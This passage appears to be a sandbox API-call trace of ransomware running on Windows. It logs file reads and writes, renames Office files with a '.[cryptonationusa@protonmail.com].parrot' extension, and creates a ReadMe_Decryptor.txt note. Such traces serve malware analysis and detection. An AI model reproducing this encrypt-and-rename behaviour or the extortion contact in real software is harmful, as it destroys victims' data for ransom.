hHeap=0x5b0000) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0210.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0210.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0210.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0210.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2298068 [0210.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0210.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3268 [0210.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0210.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0210.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0210.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0210.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0210.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0210.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0210.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0210.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0210.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0210.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0210.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0210.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0210.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c44e0 [0210.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0210.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31c7478 [0210.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c44e0 | out: hHeap=0x5b0000) returned 1 [0210.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31a0458 [0210.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c7478 | out: hHeap=0x5b0000) returned 1 [0210.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31d64b0 [0210.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0210.106] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x31e04e0 [0210.106] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0210.106] WriteFile (in: hFile=0x284, lpBuffer=0x31e0500*, nNumberOfBytesToWrite=0xb0a8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31e0500*, lpNumberOfBytesWritten=0x18eed4*=0xb0a8, lpOverlapped=0x0) returned 1 [0210.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e04e0 | out: hHeap=0x5b0000) returned 1 [0210.110] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb09e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0210.110] CloseHandle (hObject=0x284) returned 1 [0210.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0210.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2293e20 [0210.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0210.110] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROG98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\prog98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROG98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\prog98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0210.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0210.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0210.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0210.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0210.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0210.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0210.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0210.116] GetFileType (hFile=0x284) returned 0x1 [0210.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0210.127] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.127] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.129] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.129] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2600, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2600, lpOverlapped=0x0) returned 1 [0210.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0210.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0210.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0210.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0210.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0210.130] GetLastError () returned 0x0 [0210.131] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0210.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0210.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0210.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0210.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0210.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0210.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0210.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0210.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0210.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0210.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0210.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0210.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0210.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0210.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0210.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0210.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2298068 [0210.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0210.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3268 [0210.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0210.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0210.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0210.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0210.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0210.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0210.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0210.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0210.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0210.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0210.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0210.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0210.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0210.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31ac460 [0210.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0210.133] WriteFile (in: hFile=0x284, lpBuffer=0x31ac480*, nNumberOfBytesToWrite=0x2728, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31ac480*, lpNumberOfBytesWritten=0x18eed4*=0x2728, lpOverlapped=0x0) returned 1 [0210.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0210.135] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2718, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0210.135] CloseHandle (hObject=0x284) returned 1 [0210.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0210.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2293e20 [0210.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0210.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.137] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0210.137] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0210.137] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0210.137] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0210.137] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0210.137] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0210.137] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0210.139] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.139] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.140] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.140] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x26c, lpOverlapped=0x0) returned 1 [0210.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0210.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0210.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0210.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0210.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0210.140] GetLastError () returned 0x0 [0210.140] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0210.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0210.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2298068 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3268 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0210.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0210.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0210.141] WriteFile (in: hFile=0x284, lpBuffer=0x69f268*, nNumberOfBytesToWrite=0x388, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x69f268*, lpNumberOfBytesWritten=0x18eed4*=0x388, lpOverlapped=0x0) returned 1 [0210.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0210.143] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x384, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0210.143] CloseHandle (hObject=0x284) returned 1 [0210.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0210.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2293e20 [0210.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0210.144] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PROGRAM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\program.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0210.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0210.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0210.145] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0210.145] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0210.145] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0210.145] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0210.147] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.147] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.148] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.148] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x934, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x934, lpOverlapped=0x0) returned 1 [0210.148] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0210.148] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0210.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0210.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0210.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0210.149] GetLastError () returned 0x0 [0210.149] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0210.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0210.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0210.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0210.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0210.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0210.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0210.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0210.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0210.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0210.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0210.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0210.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0210.149] HeapFree (in: hHeap=0x5b0000, 